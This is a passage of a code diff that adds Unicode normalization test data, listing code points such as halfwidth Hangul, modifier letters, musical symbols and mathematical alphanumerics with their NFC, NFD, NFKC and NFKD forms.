+{ source: [0xFFB9], NFC: [0xFFB9], NFD: [0xFFB9], NFKC: [0x110D], NFKD: [0x110D] },
+{ source: [0xFFBA], NFC: [0xFFBA], NFD: [0xFFBA], NFKC: [0x110E], NFKD: [0x110E] },
+{ source: [0xFFBB], NFC: [0xFFBB], NFD: [0xFFBB], NFKC: [0x110F], NFKD: [0x110F] },
+{ source: [0xFFBC], NFC: [0xFFBC], NFD: [0xFFBC], NFKC: [0x1110], NFKD: [0x1110] },
+{ source: [0xFFBD], NFC: [0xFFBD], NFD: [0xFFBD], NFKC: [0x1111], NFKD: [0x1111] },
+{ source: [0xFFBE], NFC: [0xFFBE], NFD: [0xFFBE], NFKC: [0x1112], NFKD: [0x1112] },
+{ source: [0xFFC2], NFC: [0xFFC2], NFD: [0xFFC2], NFKC: [0x1161], NFKD: [0x1161] },
+{ source: [0xFFC3], NFC: [0xFFC3], NFD: [0xFFC3], NFKC: [0x1162], NFKD: [0x1162] },
+{ source: [0xFFC4], NFC: [0xFFC4], NFD: [0xFFC4], NFKC: [0x1163], NFKD: [0x1163] },
+{ source: [0xFFC5], NFC: [0xFFC5], NFD: [0xFFC5], NFKC: [0x1164], NFKD: [0x1164] },
+{ source: [0xFFC6], NFC: [0xFFC6], NFD: [0xFFC6], NFKC: [0x1165], NFKD: [0x1165] },
+{ source: [0xFFC7], NFC: [0xFFC7], NFD: [0xFFC7], NFKC: [0x1166], NFKD: [0x1166] },
+{ source: [0xFFCA], NFC: [0xFFCA], NFD: [0xFFCA], NFKC: [0x1167], NFKD: [0x1167] },
+{ source: [0xFFCB], NFC: [0xFFCB], NFD: [0xFFCB], NFKC: [0x1168], NFKD: [0x1168] },
+{ source: [0xFFCC], NFC: [0xFFCC], NFD: [0xFFCC], NFKC: [0x1169], NFKD: [0x1169] },
+{ source: [0xFFCD], NFC: [0xFFCD], NFD: [0xFFCD], NFKC: [0x116A], NFKD: [0x116A] },
+{ source: [0xFFCE], NFC: [0xFFCE], NFD: [0xFFCE], NFKC: [0x116B], NFKD: [0x116B] },
+{ source: [0xFFCF], NFC: [0xFFCF], NFD: [0xFFCF], NFKC: [0x116C], NFKD: [0x116C] },
+{ source: [0xFFD2], NFC: [0xFFD2], NFD: [0xFFD2], NFKC: [0x116D], NFKD: [0x116D] },
+{ source: [0xFFD3], NFC: [0xFFD3], NFD: [0xFFD3], NFKC: [0x116E], NFKD: [0x116E] },
+{ source: [0xFFD4], NFC: [0xFFD4], NFD: [0xFFD4], NFKC: [0x116F], NFKD: [0x116F] },
+{ source: [0xFFD5], NFC: [0xFFD5], NFD: [0xFFD5], NFKC: [0x1170], NFKD: [0x1170] },
+{ source: [0xFFD6], NFC: [0xFFD6], NFD: [0xFFD6], NFKC: [0x1171], NFKD: [0x1171] },
+{ source: [0xFFD7], NFC: [0xFFD7], NFD: [0xFFD7], NFKC: [0x1172], NFKD: [0x1172] },
+{ source: [0xFFDA], NFC: [0xFFDA], NFD: [0xFFDA], NFKC: [0x1173], NFKD: [0x1173] },
+{ source: [0xFFDB], NFC: [0xFFDB], NFD: [0xFFDB], NFKC: [0x1174], NFKD: [0x1174] },
+{ source: [0xFFDC], NFC: [0xFFDC], NFD: [0xFFDC], NFKC: [0x1175], NFKD: [0x1175] },
+{ source: [0xFFE0], NFC: [0xFFE0], NFD: [0xFFE0], NFKC: [0x00A2], NFKD: [0x00A2] },
+{ source: [0xFFE1], NFC: [0xFFE1], NFD: [0xFFE1], NFKC: [0x00A3], NFKD: [0x00A3] },
+{ source: [0xFFE2], NFC: [0xFFE2], NFD: [0xFFE2], NFKC: [0x00AC], NFKD: [0x00AC] },
+{ source: [0xFFE3], NFC: [0xFFE3], NFD: [0xFFE3], NFKC: [0x0020, 0x0304], NFKD: [0x0020, 0x0304] },
+{ source: [0xFFE4], NFC: [0xFFE4], NFD: [0xFFE4], NFKC: [0x00A6], NFKD: [0x00A6] },
+{ source: [0xFFE5], NFC: [0xFFE5], NFD: [0xFFE5], NFKC: [0x00A5], NFKD: [0x00A5] },
+{ source: [0xFFE6], NFC: [0xFFE6], NFD: [0xFFE6], NFKC: [0x20A9], NFKD: [0x20A9] },
+{ source: [0xFFE8], NFC: [0xFFE8], NFD: [0xFFE8], NFKC: [0x2502], NFKD: [0x2502] },
+{ source: [0xFFE9], NFC: [0xFFE9], NFD: [0xFFE9], NFKC: [0x2190], NFKD: [0x2190] },
+{ source: [0xFFEA], NFC: [0xFFEA], NFD: [0xFFEA], NFKC: [0x2191], NFKD: [0x2191] },
+{ source: [0xFFEB], NFC: [0xFFEB], NFD: [0xFFEB], NFKC: [0x2192], NFKD: [0x2192] },
+{ source: [0xFFEC], NFC: [0xFFEC], NFD: [0xFFEC], NFKC: [0x2193], NFKD: [0x2193] },
+{ source: [0xFFED], NFC: [0xFFED], NFD: [0xFFED], NFKC: [0x25A0], NFKD: [0x25A0] },
+{ source: [0xFFEE], NFC: [0xFFEE], NFD: [0xFFEE], NFKC: [0x25CB], NFKD: [0x25CB] },
+{ source: [0x10781], NFC: [0x10781], NFD: [0x10781], NFKC: [0x02D0], NFKD: [0x02D0] },
+{ source: [0x10782], NFC: [0x10782], NFD: [0x10782], NFKC: [0x02D1], NFKD: [0x02D1] },
+{ source: [0x10783], NFC: [0x10783], NFD: [0x10783], NFKC: [0x00E6], NFKD: [0x00E6] },
+{ source: [0x10784], NFC: [0x10784], NFD: [0x10784], NFKC: [0x0299], NFKD: [0x0299] },
+{ source: [0x10785], NFC: [0x10785], NFD: [0x10785], NFKC: [0x0253], NFKD: [0x0253] },
+{ source: [0x10787], NFC: [0x10787], NFD: [0x10787], NFKC: [0x02A3], NFKD: [0x02A3] },
+{ source: [0x10788], NFC: [0x10788], NFD: [0x10788], NFKC: [0xAB66], NFKD: [0xAB66] },
+{ source: [0x10789], NFC: [0x10789], NFD: [0x10789], NFKC: [0x02A5], NFKD: [0x02A5] },
+{ source: [0x1078A], NFC: [0x1078A], NFD: [0x1078A], NFKC: [0x02A4], NFKD: [0x02A4] },
+{ source: [0x1078B], NFC: [0x1078B], NFD: [0x1078B], NFKC: [0x0256], NFKD: [0x0256] },
+{ source: [0x1078C], NFC: [0x1078C], NFD: [0x1078C], NFKC: [0x0257], NFKD: [0x0257] },
+{ source: [0x1078D], NFC: [0x1078D], NFD: [0x1078D], NFKC: [0x1D91], NFKD: [0x1D91] },
+{ source: [0x1078E], NFC: [0x1078E], NFD: [0x1078E], NFKC: [0x0258], NFKD: [0x0258] },
+{ source: [0x1078F], NFC: [0x1078F], NFD: [0x1078F], NFKC: [0x025E], NFKD: [0x025E] },
+{ source: [0x10790], NFC: [0x10790], NFD: [0x10790], NFKC: [0x02A9], NFKD: [0x02A9] },
+{ source: [0x10791], NFC: [0x10791], NFD: [0x10791], NFKC: [0x0264], NFKD: [0x0264] },
+{ source: [0x10792], NFC: [0x10792], NFD: [0x10792], NFKC: [0x0262], NFKD: [0x0262] },
+{ source: [0x10793], NFC: [0x10793], NFD: [0x10793], NFKC: [0x0260], NFKD: [0x0260] },
+{ source: [0x10794], NFC: [0x10794], NFD: [0x10794], NFKC: [0x029B], NFKD: [0x029B] },
+{ source: [0x10795], NFC: [0x10795], NFD: [0x10795], NFKC: [0x0127], NFKD: [0x0127] },
+{ source: [0x10796], NFC: [0x10796], NFD: [0x10796], NFKC: [0x029C], NFKD: [0x029C] },
+{ source: [0x10797], NFC: [0x10797], NFD: [0x10797], NFKC: [0x0267], NFKD: [0x0267] },
+{ source: [0x10798], NFC: [0x10798], NFD: [0x10798], NFKC: [0x0284], NFKD: [0x0284] },
+{ source: [0x10799], NFC: [0x10799], NFD: [0x10799], NFKC: [0x02AA], NFKD: [0x02AA] },
+{ source: [0x1079A], NFC: [0x1079A], NFD: [0x1079A], NFKC: [0x02AB], NFKD: [0x02AB] },
+{ source: [0x1079B], NFC: [0x1079B], NFD: [0x1079B], NFKC: [0x026C], NFKD: [0x026C] },
+{ source: [0x1079C], NFC: [0x1079C], NFD: [0x1079C], NFKC: [0x1DF04], NFKD: [0x1DF04] },
+{ source: [0x1079D], NFC: [0x1079D], NFD: [0x1079D], NFKC: [0xA78E], NFKD: [0xA78E] },
+{ source: [0x1079E], NFC: [0x1079E], NFD: [0x1079E], NFKC: [0x026E], NFKD: [0x026E] },
+{ source: [0x1079F], NFC: [0x1079F], NFD: [0x1079F], NFKC: [0x1DF05], NFKD: [0x1DF05] },
+{ source: [0x107A0], NFC: [0x107A0], NFD: [0x107A0], NFKC: [0x028E], NFKD: [0x028E] },
+{ source: [0x107A1], NFC: [0x107A1], NFD: [0x107A1], NFKC: [0x1DF06], NFKD: [0x1DF06] },
+{ source: [0x107A2], NFC: [0x107A2], NFD: [0x107A2], NFKC: [0x00F8], NFKD: [0x00F8] },
+{ source: [0x107A3], NFC: [0x107A3], NFD: [0x107A3], NFKC: [0x0276], NFKD: [0x0276] },
+{ source: [0x107A4], NFC: [0x107A4], NFD: [0x107A4], NFKC: [0x0277], NFKD: [0x0277] },
+{ source: [0x107A5], NFC: [0x107A5], NFD: [0x107A5], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x107A6], NFC: [0x107A6], NFD: [0x107A6], NFKC: [0x027A], NFKD: [0x027A] },
+{ source: [0x107A7], NFC: [0x107A7], NFD: [0x107A7], NFKC: [0x1DF08], NFKD: [0x1DF08] },
+{ source: [0x107A8], NFC: [0x107A8], NFD: [0x107A8], NFKC: [0x027D], NFKD: [0x027D] },
+{ source: [0x107A9], NFC: [0x107A9], NFD: [0x107A9], NFKC: [0x027E], NFKD: [0x027E] },
+{ source: [0x107AA], NFC: [0x107AA], NFD: [0x107AA], NFKC: [0x0280], NFKD: [0x0280] },
+{ source: [0x107AB], NFC: [0x107AB], NFD: [0x107AB], NFKC: [0x02A8], NFKD: [0x02A8] },
+{ source: [0x107AC], NFC: [0x107AC], NFD: [0x107AC], NFKC: [0x02A6], NFKD: [0x02A6] },
+{ source: [0x107AD], NFC: [0x107AD], NFD: [0x107AD], NFKC: [0xAB67], NFKD: [0xAB67] },
+{ source: [0x107AE], NFC: [0x107AE], NFD: [0x107AE], NFKC: [0x02A7], NFKD: [0x02A7] },
+{ source: [0x107AF], NFC: [0x107AF], NFD: [0x107AF], NFKC: [0x0288], NFKD: [0x0288] },
+{ source: [0x107B0], NFC: [0x107B0], NFD: [0x107B0], NFKC: [0x2C71], NFKD: [0x2C71] },
+{ source: [0x107B2], NFC: [0x107B2], NFD: [0x107B2], NFKC: [0x028F], NFKD: [0x028F] },
+{ source: [0x107B3], NFC: [0x107B3], NFD: [0x107B3], NFKC: [0x02A1], NFKD: [0x02A1] },
+{ source: [0x107B4], NFC: [0x107B4], NFD: [0x107B4], NFKC: [0x02A2], NFKD: [0x02A2] },
+{ source: [0x107B5], NFC: [0x107B5], NFD: [0x107B5], NFKC: [0x0298], NFKD: [0x0298] },
+{ source: [0x107B6], NFC: [0x107B6], NFD: [0x107B6], NFKC: [0x01C0], NFKD: [0x01C0] },
+{ source: [0x107B7], NFC: [0x107B7], NFD: [0x107B7], NFKC: [0x01C1], NFKD: [0x01C1] },
+{ source: [0x107B8], NFC: [0x107B8], NFD: [0x107B8], NFKC: [0x01C2], NFKD: [0x01C2] },
+{ source: [0x107B9], NFC: [0x107B9], NFD: [0x107B9], NFKC: [0x1DF0A], NFKD: [0x1DF0A] },
+{ source: [0x107BA], NFC: [0x107BA], NFD: [0x107BA], NFKC: [0x1DF1E], NFKD: [0x1DF1E] },
+{ source: [0x1109A], NFC: [0x1109A], NFD: [0x11099, 0x110BA], NFKC: [0x1109A], NFKD: [0x11099, 0x110BA] },
+{ source: [0x1109C], NFC: [0x1109C], NFD: [0x1109B, 0x110BA], NFKC: [0x1109C], NFKD: [0x1109B, 0x110BA] },
+{ source: [0x110AB], NFC: [0x110AB], NFD: [0x110A5, 0x110BA], NFKC: [0x110AB], NFKD: [0x110A5, 0x110BA] },
+{ source: [0x1112E], NFC: [0x1112E], NFD: [0x11131, 0x11127], NFKC: [0x1112E], NFKD: [0x11131, 0x11127] },
+{ source: [0x1112F], NFC: [0x1112F], NFD: [0x11132, 0x11127], NFKC: [0x1112F], NFKD: [0x11132, 0x11127] },
+{ source: [0x1134B], NFC: [0x1134B], NFD: [0x11347, 0x1133E], NFKC: [0x1134B], NFKD: [0x11347, 0x1133E] },
+{ source: [0x1134C], NFC: [0x1134C], NFD: [0x11347, 0x11357], NFKC: [0x1134C], NFKD: [0x11347, 0x11357] },
+{ source: [0x114BB], NFC: [0x114BB], NFD: [0x114B9, 0x114BA], NFKC: [0x114BB], NFKD: [0x114B9, 0x114BA] },
+{ source: [0x114BC], NFC: [0x114BC], NFD: [0x114B9, 0x114B0], NFKC: [0x114BC], NFKD: [0x114B9, 0x114B0] },
+{ source: [0x114BE], NFC: [0x114BE], NFD: [0x114B9, 0x114BD], NFKC: [0x114BE], NFKD: [0x114B9, 0x114BD] },
+{ source: [0x115BA], NFC: [0x115BA], NFD: [0x115B8, 0x115AF], NFKC: [0x115BA], NFKD: [0x115B8, 0x115AF] },
+{ source: [0x115BB], NFC: [0x115BB], NFD: [0x115B9, 0x115AF], NFKC: [0x115BB], NFKD: [0x115B9, 0x115AF] },
+{ source: [0x11938], NFC: [0x11938], NFD: [0x11935, 0x11930], NFKC: [0x11938], NFKD: [0x11935, 0x11930] },
+{ source: [0x1D15E], NFC: [0x1D157, 0x1D165], NFD: [0x1D157, 0x1D165], NFKC: [0x1D157, 0x1D165], NFKD: [0x1D157, 0x1D165] },
+{ source: [0x1D15F], NFC: [0x1D158, 0x1D165], NFD: [0x1D158, 0x1D165], NFKC: [0x1D158, 0x1D165], NFKD: [0x1D158, 0x1D165] },
+{ source: [0x1D160], NFC: [0x1D158, 0x1D165, 0x1D16E], NFD: [0x1D158, 0x1D165, 0x1D16E], NFKC: [0x1D158, 0x1D165, 0x1D16E], NFKD: [0x1D158, 0x1D165, 0x1D16E] },
+{ source: [0x1D161], NFC: [0x1D158, 0x1D165, 0x1D16F], NFD: [0x1D158, 0x1D165, 0x1D16F], NFKC: [0x1D158, 0x1D165, 0x1D16F], NFKD: [0x1D158, 0x1D165, 0x1D16F] },
+{ source: [0x1D162], NFC: [0x1D158, 0x1D165, 0x1D170], NFD: [0x1D158, 0x1D165, 0x1D170], NFKC: [0x1D158, 0x1D165, 0x1D170], NFKD: [0x1D158, 0x1D165, 0x1D170] },
+{ source: [0x1D163], NFC: [0x1D158, 0x1D165, 0x1D171], NFD: [0x1D158, 0x1D165, 0x1D171], NFKC: [0x1D158, 0x1D165, 0x1D171], NFKD: [0x1D158, 0x1D165, 0x1D171] },
+{ source: [0x1D164], NFC: [0x1D158, 0x1D165, 0x1D172], NFD: [0x1D158, 0x1D165, 0x1D172], NFKC: [0x1D158, 0x1D165, 0x1D172], NFKD: [0x1D158, 0x1D165, 0x1D172] },
+{ source: [0x1D1BB], NFC: [0x1D1B9, 0x1D165], NFD: [0x1D1B9, 0x1D165], NFKC: [0x1D1B9, 0x1D165], NFKD: [0x1D1B9, 0x1D165] },
+{ source: [0x1D1BC], NFC: [0x1D1BA, 0x1D165], NFD: [0x1D1BA, 0x1D165], NFKC: [0x1D1BA, 0x1D165], NFKD: [0x1D1BA, 0x1D165] },
+{ source: [0x1D1BD], NFC: [0x1D1B9, 0x1D165, 0x1D16E], NFD: [0x1D1B9, 0x1D165, 0x1D16E], NFKC: [0x1D1B9, 0x1D165, 0x1D16E], NFKD: [0x1D1B9, 0x1D165, 0x1D16E] },
+{ source: [0x1D1BE], NFC: [0x1D1BA, 0x1D165, 0x1D16E], NFD: [0x1D1BA, 0x1D165, 0x1D16E], NFKC: [0x1D1BA, 0x1D165, 0x1D16E], NFKD: [0x1D1BA, 0x1D165, 0x1D16E] },
+{ source: [0x1D1BF], NFC: [0x1D1B9, 0x1D165, 0x1D16F], NFD: [0x1D1B9, 0x1D165, 0x1D16F], NFKC: [0x1D1B9, 0x1D165, 0x1D16F], NFKD: [0x1D1B9, 0x1D165, 0x1D16F] },
+{ source: [0x1D1C0], NFC: [0x1D1BA, 0x1D165, 0x1D16F], NFD: [0x1D1BA, 0x1D165, 0x1D16F], NFKC: [0x1D1BA, 0x1D165, 0x1D16F], NFKD: [0x1D1BA, 0x1D165, 0x1D16F] },
+{ source: [0x1D400], NFC: [0x1D400], NFD: [0x1D400], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D401], NFC: [0x1D401], NFD: [0x1D401], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D402], NFC: [0x1D402], NFD: [0x1D402], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D403], NFC: [0x1D403], NFD: [0x1D403], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D404], NFC: [0x1D404], NFD: [0x1D404], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D405], NFC: [0x1D405], NFD: [0x1D405], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D406], NFC: [0x1D406], NFD: [0x1D406], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D407], NFC: [0x1D407], NFD: [0x1D407], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D408], NFC: [0x1D408], NFD: [0x1D408], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D409], NFC: [0x1D409], NFD: [0x1D409], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D40A], NFC: [0x1D40A], NFD: [0x1D40A], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D40B], NFC: [0x1D40B], NFD: [0x1D40B], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D40C], NFC: [0x1D40C], NFD: [0x1D40C], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D40D], NFC: [0x1D40D], NFD: [0x1D40D], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D40E], NFC: [0x1D40E], NFD: [0x1D40E], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D40F], NFC: [0x1D40F], NFD: [0x1D40F], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D410], NFC: [0x1D410], NFD: [0x1D410], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D411], NFC: [0x1D411], NFD: [0x1D411], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D412], NFC: [0x1D412], NFD: [0x1D412], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D413], NFC: [0x1D413], NFD: [0x1D413], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D414], NFC: [0x1D414], NFD: [0x1D414], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D415], NFC: [0x1D415], NFD: [0x1D415], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D416], NFC: [0x1D416], NFD: [0x1D416], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D417], NFC: [0x1D417], NFD: [0x1D417], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D418], NFC: [0x1D418], NFD: [0x1D418], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D419], NFC: [0x1D419], NFD: [0x1D419], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D41A], NFC: [0x1D41A], NFD: [0x1D41A], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D41B], NFC: [0x1D41B], NFD: [0x1D41B], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D41C], NFC: [0x1D41C], NFD: [0x1D41C], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D41D], NFC: [0x1D41D], NFD: [0x1D41D], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D41E], NFC: [0x1D41E], NFD: [0x1D41E], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D41F], NFC: [0x1D41F], NFD: [0x1D41F], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D420], NFC: [0x1D420], NFD: [0x1D420], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D421], NFC: [0x1D421], NFD: [0x1D421], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D422], NFC: [0x1D422], NFD: [0x1D422], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D423], NFC: [0x1D423], NFD: [0x1D423], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D424], NFC: [0x1D424], NFD: [0x1D424], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D425], NFC: [0x1D425], NFD: [0x1D425], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D426], NFC: [0x1D426], NFD: [0x1D426], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D427], NFC: [0x1D427], NFD: [0x1D427], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D428], NFC: [0x1D428], NFD: [0x1D428], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D429], NFC: [0x1D429], NFD: [0x1D429], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D42A], NFC: [0x1D42A], NFD: [0x1D42A], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D42B], NFC: [0x1D42B], NFD: [0x1D42B], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D42C], NFC: [0x1D42C], NFD: [0x1D42C], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D42D], NFC: [0x1D42D], NFD: [0x1D42D], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D42E], NFC: [0x1D42E], NFD: [0x1D42E], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D42F], NFC: [0x1D42F], NFD: [0x1D42F], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D430], NFC: [0x1D430], NFD: [0x1D430], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D431], NFC: [0x1D431], NFD: [0x1D431], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D432], NFC: [0x1D432], NFD: [0x1D432], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D433], NFC: [0x1D433], NFD: [0x1D433], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D434], NFC: [0x1D434], NFD: [0x1D434], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D435], NFC: [0x1D435], NFD: [0x1D435], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D436], NFC: [0x1D436], NFD: [0x1D436], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D437], NFC: [0x1D437], NFD: [0x1D437], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D438], NFC: [0x1D438], NFD: [0x1D438], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D439], NFC: [0x1D439], NFD: [0x1D439], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D43A], NFC: [0x1D43A], NFD: [0x1D43A], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D43B], NFC: [0x1D43B], NFD: [0x1D43B], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D43C], NFC: [0x1D43C], NFD: [0x1D43C], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D43D], NFC: [0x1D43D], NFD: [0x1D43D], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D43E], NFC: [0x1D43E], NFD: [0x1D43E], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D43F], NFC: [0x1D43F], NFD: [0x1D43F], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D440], NFC: [0x1D440], NFD: [0x1D440], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D441], NFC: [0x1D441], NFD: [0x1D441], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D442], NFC: [0x1D442], NFD: [0x1D442], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D443], NFC: [0x1D443], NFD: [0x1D443], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D444], NFC: [0x1D444], NFD: [0x1D444], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D445], NFC: [0x1D445], NFD: [0x1D445], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D446], NFC: [0x1D446], NFD: [0x1D446], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D447], NFC: [0x1D447], NFD: [0x1D447], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D448], NFC: [0x1D448], NFD: [0x1D448], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D449], NFC: [0x1D449], NFD: [0x1D449], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D44A], NFC: [0x1D44A], NFD: [0x1D44A], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D44B], NFC: [0x1D44B], NFD: [0x1D44B], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D44C], NFC: [0x1D44C], NFD: [0x1D44C], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D44D], NFC: [0x1D44D], NFD: [0x1D44D], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D44E], NFC: [0x1D44E], NFD: [0x1D44E], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D44F], NFC: [0x1D44F], NFD: [0x1D44F], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D450], NFC: [0x1D450], NFD: [0x1D450], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D451], NFC: [0x1D451], NFD: [0x1D451], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D452], NFC: [0x1D452], NFD: [0x1D452], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D453], NFC: [0x1D453], NFD: [0x1D453], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D454], NFC: [0x1D454], NFD: [0x1D454], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D456], NFC: [0x1D456], NFD: [0x1D456], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D457], NFC: [0x1D457], NFD: [0x1D457], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D458], NFC: [0x1D458], NFD: [0x1D458], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D459], NFC: [0x1D459], NFD: [0x1D459], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D45A], NFC: [0x1D45A], NFD: [0x1D45A], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D45B], NFC: [0x1D45B], NFD: [0x1D45B], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D45C], NFC: [0x1D45C], NFD: [0x1D45C], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D45D], NFC: [0x1D45D], NFD: [0x1D45D], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D45E], NFC: [0x1D45E], NFD: [0x1D45E], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D45F], NFC: [0x1D45F], NFD: [0x1D45F], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D460], NFC: [0x1D460], NFD: [0x1D460], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D461], NFC: [0x1D461], NFD: [0x1D461], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D462], NFC: [0x1D462], NFD: [0x1D462], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D463], NFC: [0x1D463], NFD: [0x1D463], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D464], NFC: [0x1D464], NFD: [0x1D464], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D465], NFC: [0x1D465], NFD: [0x1D465], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D466], NFC: [0x1D466], NFD: [0x1D466], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D467], NFC: [0x1D467], NFD: [0x1D467], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D468], NFC: [0x1D468], NFD: [0x1D468], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D469], NFC: [0x1D469], NFD: [0x1D469], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D46A], NFC: [0x1D46A], NFD: [0x1D46A], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D46B], NFC: [0x1D46B], NFD: [0x1D46B], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D46C], NFC: [0x1D46C], NFD: [0x1D46C], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D46D], NFC: [0x1D46D], NFD: [0x1D46D], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D46E], NFC: [0x1D46E], NFD: [0x1D46E], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D46F], NFC: [0x1D46F], NFD: [0x1D46F], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D470], NFC: [0x1D470], NFD: [0x1D470], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D471], NFC: [0x1D471], NFD: [0x1D471], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D472], NFC: [0x1D472], NFD: [0x1D472], NFKC: [0x004B], NFKD: [0x004B] },
